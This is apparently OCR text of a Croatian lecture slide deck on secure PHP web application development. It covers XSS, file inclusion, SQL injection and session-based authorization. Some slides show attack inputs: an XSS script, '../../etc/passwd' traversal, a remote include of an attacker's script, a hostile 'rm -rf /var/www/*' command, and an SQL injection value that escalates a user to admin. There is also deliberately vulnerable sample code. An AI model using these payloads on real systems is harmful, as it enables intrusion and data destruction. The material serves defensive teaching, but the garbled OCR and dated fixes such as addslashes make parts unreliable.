uvod
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] web aplikacije?

] op¢enito o sigurnosti
[ php — teorija 1 primjeri
[ kraj

web aplikacije?

3 pisanje sigurnih web aplikacija
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] interaktivne/dinamicne stranice
] kako to radi?
] client-side — browser (IE, Netscape, ...)
] server-side — scripting (php, perl, ...)
[ razlika 1 opasnosti:
[Iclient-side informacije su nesigurne
[Iserver-side — temelj sigurnosti
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opcenito o o .
sigumos ti [] w;t()) aphk.acua 1ma pristup:
perativnom sustavu
Ibazi podataka
[Jponekad svemu na sistemu
] problem:
[ Jzaobilaze se uobicajne zastite

[Inesigurna aplikacija povlaci ranjiv sustav
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najcesci , .

. [ naj¢es¢i problemi:
p I'Olzileml . [Ineprovjereni parametri
o UvoO

[ Inesigurna kontrola pristupa

[JXSS (cross-site scripting)
[Jinjection (naj¢esce SQL problemi)
Ilweb administracija
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najcesci
problemi:

- neprovjereni
parametri

[ neprovjereni parametri:

[JFORM & URL — veéina interakcija s

korisnikom

[Jcentralni mehanizam za provjeru

[ 1za svaki input potrebno je znati:
[Itip podataka (integer, string, ...)
Idozvoljen oblik (encoding, veliCina, ...)
[Ipotrebno je osigurati “default action”
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najcesci
problemi:

- nesigurna kontrola
pristupa

] nesigurna kontrola pristupa:

1“second level” korisnici nisu kontrolirani
[Ineovlasten pristup dijelovima sustava
[JugroZenost privilegija 1 zaStiCenih podataka

[ InezasSticen “session management”:
[Jukradeni sess id, password, ...
[ Ikontrola pristupa zaobidena
[InapadaC ima pristup cijelom sistemu




najcesci
problemi:
- XSS
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] XSS (cross-site scripting):

[ Inajcesce JavaScript

[korisnik:
[krivotvorene informacije
[ Ikrada privatnih informacija

[ Ipovlasteni korisnik/administrator
[JmogucCnost krade sess_id-a (ili sli¢no)
[Jmanipulacija podataka

najcesci
problemi:
- injection
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] injection (najcesce SQL problemi):

[Iposljedica neprovjerenih parametara

[lvar Parametar = neprovjereni parametar
[Jupitna valjanost varijable Parametar
[Ju aplikaciji se koristi sistemski “shell”,
Parametar se direktno prenosi u “shell”,
upitna sigurnost sistema
[/Parametar se koristi u sastavljanju SQL
Query-a, povlaci se sigurnost baze podataka

[Imogu¢ pristup sistemu
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najcesci
problemi:
web administracija

] web administracija:

[Jweb aplikacije = web administracija

[ ]jednostavnost sucelja ne predstavlja sigurnost

[Jautorizacija / session management / kontrola

pristupa — kljucne stvari

[J*“frontend” - “backend”:
[“frontend” sluZzi za posluzivanje sadrzaja
[1“backend” sluzi za odrzavanje sadrzaja

[Irazlog zaSto postoji rije¢ “backend”:
[Ipristup samo ovlastenim osobama
[Jupotreba “sigurne veze” (VPN ili SSL)
[ /limitirano na odredene IP adrese
[Isustav se drZi u “sigurnoj okolini”
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php

uvod

] zaSto je php “zakon”:
[Jjednostavan za uciti
Jvrhunska dokumentacija
[Jniz web orijentiranih modula
[Jbrzina - jedan od brzih interpretera
...
L] zaSto je los:
[Jskromne OO moguc¢nosti
[Jsam OO kod u zend-u (php core engine) je
loSe napisan
[ JPHPS5 donosi ispravak te pogreske 1 ulazi u sva
podrucja web aplikacija




pisanje sigurnih web aplikacija

- pregled sadrzaja [ globalne varijable
[ client-side parametri

1 XSS

] datoteke

1 SQL

[ ] autorizacija / session management
...

i pisanje sigurnih web aplikacija

php o )
- globalne varijable I “register_globals™
[Jphp.ini — konfiguracija php-a
[1*“On” - varijable postaju automatski globalne
[J“Off” - varijable postaju globalne na zahtjev
[ “On™:
[Ismanjuje 1 olakSava rad
[Iclient-side parametrima mijenjaju se bitne
varijable
[Ivarijable imaju nepouzdan izvor
] “Off:
[Jvarijable je potrebno zatraziti
[lizvor je poznat 1 teze je client-side
parametrima promijeniti nesto bitno
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php

globalne varijable

[ Superglobals — globalni array-i:

1 $GLOBALS — sadrzi varijable koje su
dostupne globalno u skripti

[1$ SERVER - sadrzi varijable koje su
postavljene za web server ili su povezane sa
okruzenjem u kojem se skripta izvrSava

[1$ GET — sadrzi varijable koje su dostupne
putem HTTP GET (web forma ili url)

[1$ POST - sadrzi varijable koje su dostupne
putem HTTP POST (web forma)

[1$ COOKIE - sadrzi varijable koje su dostupne
putem HTTP cookie-a

[J$ FILES — sadrzi varijable koje su dostupne
putem HTTP POST za uploadane file-ove
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php

globalne varijable

[ Superglobals — globalni array-i:

[1$ _ENV - sadrzi varijable koje su dostupne iz
sistema

[1$ REQUEST - sadrzi sve varijable koje su
dostupne putem bilo kojeg mehanizma kojim
korisnici komuniciraju sa aplikacijom te su stoga
nesigurne 1 potrebno ih je provjeriti

[1$ SESSION - sadrzi varijable koje su trenutno
registrirane u session-u korisnika 1 skripte
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- client-side parametri ] Kako client-side parametri dolaze do php-a?

[JURL:

http://www.adresa.hr/index.php?page=kontakt.html
[Ihttp — scheme: protokol kojim komuniciraju
korisnik (client-side) 1 aplikacija (server-side)
[Jwww.adresa.hr - host: [P adresa ili DNS ime
[index.php — path: lokacija i ime skripte na
serveru
[Jpage=kontakt.html — query: parametri koji se
prenose putem URL-a

3 pisanje sigurnih web aplikacija
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php
- client-side parametri | <’Php -
// HTTP GET — web forma ili url

// register globals = On
// ispisuje “kontakt.html”
print $page;

// register _globals = Off
// ispisuje “kontakt.html”
print § GET[“page”];

77>
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php r\VJ il nhitgsf floucalhust feoaljusa fimofsaarcn.uho - unrueror J 2 = (=] (X
. Client—Side pal'ametl‘i Loc::mor: Edl\t Yiew g\o %ookmarks Tools Settings Window Help

[Ee2d © &
E» Location: U@http:,f’flocalhostfwaljosaftmpfsearch.php III;J ]E[
.I'\.Ietv baoksv c/c++' == ire_ ja\.ra' jobsv Inxv mathv == misc, mmed\av mp:—‘.v »
M) Index of /~aljosa |r M) http: /Aocalhost/~aljosa/tm, .. ]

Pretrazivanje:

| <+— linux
!Traii!

<form action="search.php" method="POST">
<b>Pretrazivanje:</b><br>
<input type="text" name="search">
<br><br>
<input type="submit" value="Trazi">

s o </form> -

pisanje sigurnih web aplikacija

-~ client-side parametri | <’Php
// HTTP POST — web forma

// register globals = On
// ispisuje “linux”
print $search;

// register _globals = Off
// ispisuje “linux”
print § POST[“search’];

77>
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- client-side parametri
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] web stranica ne prati “stanje” korisnika
1 cookie - pamti se interakcija s korisnikom

<?php

/ za korisnika se pamti da je ispunio anketu
setcookie('anketa', 'da’, time()+86400, ", “www.adresa.hr”);
7>

] aplikacija zna “stanje” korisnika pomocu cookiea

<?php
/ register_globals=On — varijabla $anketa
/ register _globals=Off — varijabla § COOKIE[“anketa’]
if($ COOKIE[“anketa”]=="da”){
print “ispunili ste anketa.”;

} else {

print “niste ispunili anketu.”;
}
7>

php
5 XSS
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] cross-site scripting
1 korisnik moze unijeti zlonamjernt HTML/JS/VB

r

>l ?@ nitn:f flucalhost feonljosa firnn fiss ono - onrueror J 2 =] (=] ]
Location Edit ¥iew Go Bookmarks Tools Settings Window Help
QEARA OV 4« LD EXKAKQ®

E» Location: Lf@http://Iocalhost/~aljosa/tmp/xss.php K I»
.I'\.Ietv books' c,fc++' |rc' ]a\ra' ]DbS' Inx' math' (53 misc, mmed|a' Exn»

Vas komentar:
<script language="JavaScript”>

alert(“OVAJ SITE JE HAKIRAN!!!?); &

</script> *

. Unesi komentar |

Page loaded.
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php

XSS ] gubi se povjerenje korisnika koji nalete na
uneseni kod (HTML/JS/VB)

1 mogu se ukrasti 1 povjerljivi podatci tipa
session_id ili osobni podatci korisnika

[\l i nitpsf fluealnnst feaaljusa firnp /s, uhio - Cunruarore J 3 = =] [
Location Edit MWiew Go Bookmarks Tools Settings Window Help
-\ \ . 3 i N g H iR
RE2B OB « B ERA A &
E® Location: L|@http://localhost/waljosa/tmp/xss.php III;J Iy

=5 net [EXbooks [ERc/c++ Biire Eijava [ iobs [E¥ing EEmath [E¥ misc Eimmedia Fin »

> Jayaioriot - funuz, INJNETRE]

6 OYA] SITE JE HAKIRAM!!
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h
E)XIS)S ] problem su HTML metaznakovi (<, >, &, ', “, ...)

] php funkcije koje to rijesavaju:
[ Thtmlspecialchars()
Thtmlentities()

[strip_tags()

<?php

/ uneseni zlonamjerni kod neCe biti izvrsen
/ ve€ prikazan kao komentar

print htmlspecialchars($zlonamjeni_kod);
7>

<script language="JavaScript”>
alert(“OVAJ SITE JE HAKIRAN!!!);

</script>
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php

- datoteke

] funkecije: include(), require() 1 fopen()
Jmanipulacija sa lokalnim datotekama
[Jputem URL-a dostupne datoteke na drugim
lokacijama

'] client-side (URL): page=kontakt.html

<?php

/ register_globals: On/Off = $page / $_ GET[“page”]
/ otvara se stranica kontakt.html
include($_GET[“page”]);

7>
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php
- datoteke

] client-side (URL):
[Ipage=../../etc/passwd
[Iclient-side parametrom mijenja se direktorij 1
datoteka koju skripta prikazuje

<?php

/ register_globals: On/Off = $page / $_GET[“page’]
/ omogucCen je pristup sistemu

include($_GET[“page”]);
/ mogu se prikazati sve datoteke kojima httpd user ima pristup

>
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php o
' datoteke ] client-side (URL):

[ Ipage=http://www.napadac.hr/napad.php
[JizvrSava se skripta napadaca

<?php
/ prikazi bilo koju datoteku
include(“/etc/passwd”);

include(*“/etc/apache/httpd.conf™);

/ 1zbrisi sve stranice
passthru(“rm -rf /var/www/*”);

7>
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php

~ datoteke ] provjera client-side parametra:
[ Jpage=http://www.napadac.hr/napad.php

<?php

/ definira se direktorij sa stranicama
$web_pages = “/var/www/html/”;
/ definira se stranica i ukloni se moguénost mijenjanja direktorija
$web page = basename($ GET[“page”));
/ provjerava ako datoteka postoji inaCe otvara default-nu stranicu
if(file exists($web pages.$web page)){
// kod za prikaz stranice
} else {
// ' kod za prikaz default-ne stranice
b

7>
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php

- datoteke

pisanje sigurnih web aplikacija

] datoteke:
[ Jmijenjanje direktorija (page=../../etc/passwd)
[Jprovjera datoteke
[Jzabrana otvaranja datoteka koje nisu lokalne
[ IkoriStenje fopen() za otvaranje datoteka bez

koda

&

— —

php
- SQL

pisanje sigurnih web aplikacija

) php se najcesce koristi u kombinaciji sa bazom
podataka (ve¢inom MySQL)

] baze podataka web aplikacijama daju pravu snagu
1 moguc¢nost napredne manipulacije podataka

] u kombinaciji sa nepravilnim client-side
parametrima dolazi do problema

I neprovjereni client-side parametri koriste se za
slaganje SQL Query-a

1 magic_quotes_gpc — obradi client-side parametre
za SQL Query-e

] problemi kad je magic_quotes gpc=Off
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php

SQL ] korisnik na vasim stranicama mijenja podatke:
g —_— ————ee—— .
> ?%? nitpsf flucalnnst feoaljnsa firna fosarnhunn = unrUaror J 2 (= [ %

Location Edit ¥iew Go Bookmarks Tools Settings Window Help

REQRA OB & DD HAAQ & ®

B Location: U@http:,/,/Iocalhost,fwaljosa,ftmp,fsearch.php |||;J ]'EI

.Net' books' c,’c++' =3 ire_ jaua' jobs' Inx' math' == misc_ mmedia' mp:—.‘v »

Ime:
Perica

Prezime:
Napada', level='admin

 Unesi |

Page loaded.
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h
E)S(IQ)L <?php

$ime = $§ POST[“ime”] // Perica

$prezime =§ POST[“prezime”] // Napada', level='admin

$q = “update auth set ime='$ime', prezime='$prezime' where id=1";
sql_query($q);

/ korisnik u bazi: ime, prezime, level
/ magic_quotes_gpc=On
ime = “Perica”
prezime = “Napada’, level='admin”
level = nepromijenjen
/ magic_quotes gpc=Off
ime = “Perica”
prezime = “Napada”
level = “admin”
7>
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php
- SQL

[] potrebno je provjeriti magic_quotes gpc

<?php

if(get magic_quotes gpc()){
// nista ne treba mijenjati
} else {

$ime = addslashes($ POST[“ime”]);
$prezime = addslashes($ POST[“prezime’]);

7>

&
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- autorizacija
- session management

1 najvazniji dio web aplikacije je administracija
(] autorizacija — provjera privilegija korisnika
] session — odrZavanje “stanja” korisnika

<?php

// ' kod za autorizaciju korisnika
function autorizacija()
// vraCa TRUE ili FALSE

if($login){

// pristup administraciji
} else {

$login = autorizacija();
b

77>
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php

- autorizacija

] ponovo client-side parametrima mijenjaju se

. session management varijable i $login postaje “ok”

r

) 3ok stonrisror /
i

Location Edit View Go Bookmarks Tools Settings Window Help

e T W £ o . ey U

BERA SO & HDS

B Location: ll A http: //www.adresa.hr/admin/index. php?login=ok
.Net'buok_'-‘.' Ec/c++'irc' Ejava' jl:th' Inxvmmath'

<?php
/I var $login je ovdje client-side parametar (HTTP GET)
/[ autorizaciju treba uvijek izvrSavati
$login = autorizacija();
if($login==TRUE)
// korisnik je autoriziran
else

// zatraZi ponovo login
7>
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- autorizacija
- session management

] session — ¢uvanje podataka
1 dovoljno je jednom autorizirati korisnika
] client-side parametri ne mijenjaju session varijable

<?php
// ' korisnik dobiva unique id - session_id
session_start();

if(autorizacija())
$ SESSION[“login”] = TRUE,;

// session varijabla § SESSION[“login”] uvijek je dostupna
// dovoljno je provjeriti njezino postojanje 1 korisnik je autoriziran
if($_SESSION[“login])
// korisnik je privilegiran/autoriziran
7>
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] posljedica vec¢ine sigurnosnih problema je losa
manipulacija sa client-side parametrima

] koriStenje php SuperGlobals array-a smanjuje
probleme u samom pocetku

] php ima velik broj funkcija 1 modula koji
netrivijalne probleme rjeSavaju na jednostavan nacin

pisanje sigurnih web aplikacija

] funkcije kod kojih treba posebno paziti:

// 1izvrSavaju php kod

require() / include() - u€itavaju datoteku i interpretiraju njezin
sadrZaj kao php kod

eval() - interpretira dani string kao php kod

preg_replace() - pri koriStenju sa “/e” modifikatorom interpretira
zamjenski string kao php kod

// izvrSavaju sistemske naredbe

exec() - izvrSava danu naredbu i vraCa posljednju liniju rezultata
passthru() - izvrSava danu naredbu i vra€a cijeli rezultat direktno
browseru korisnika

" (backticks) - izvrSava danu naredbu i vraCa rezultat u array-u
system() - kao 1 passthru(), ali ne radi sa binarnim podatcima




{} DORS X // CLUC V

php

[ sigurnije konfiguriranje php-a:

[J register_globals = off

[Iphp visSe nece stvarati globalne varijable iz

client-side parametara

[rijesiti ¢e se vecina sigurnosnih problema

[Itre¢ina php aplikacija nece raditi
Jsafe_mode = on

Jonemoguceno korisStenje funkcija koje

predstavljaju potencijalne sigurnosne

probleme, npr. exec(), system(), ...

[Imoguce zabraniti koriStenje ostalih

funkcija

JograniCava pristup datotekama ovisno o

vlasniku skripte 1 ciljane datoteke
...
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php

] sigurnije konfiguriranje php-a:

[Jopen_basedir = dozvoljeni direktoriji
Jograni¢ava moguc¢nost manipulacije
datotekama unutar dozvoljenih direktorija
[lefektivno smanjuje sigurnosne probleme
[Itreba biti oprezan pri konfiguraciji zbog
upload-a datoteka 1 session datoteka

[Idisplay _errors = off, log_errors = on

[Inapadac ne vidi mogucCe pogreske koje je
prouzrocio te ne moze dalje iskoristiti
mogucu pogresku u kodu

[Jallow_url fopen = off

Jograni¢ava manipulaciju datotekama na
lokalne, putem URL viSe ne radi
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] ovo je bio prikaz jednostavnih problema

1 vece web aplikacije teze je kontrolirati

1 RBAC - role-based access control
[Jhttp://csrc.nist.gov/rbac/

1 OWASP - Open Web Application Security Project
[http://www.owasp.org/

] PEAR - PHP Extension and Application Repository
[Ihttp://pear.php.net
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kraj

] web aplikacija koja moguc¢nostima zadovoljava
ciljeve projekta nije nuZzno dovrSena niti sigurna

[ negativne posljedice su ve¢inom manje za
aplikaciju koja nije dovrSena u roku negoli za
javnu/objavljenu sa znanim problemima

1 buducénost ¢e donijeti nova i fleksibilnija web
sucelja koja ¢e uzrokovati nove sigurnosne
probleme

[] sigurnosni problemi ¢e uvijek postojati, mogu se
kontrolirati, ali ne¢e nestati




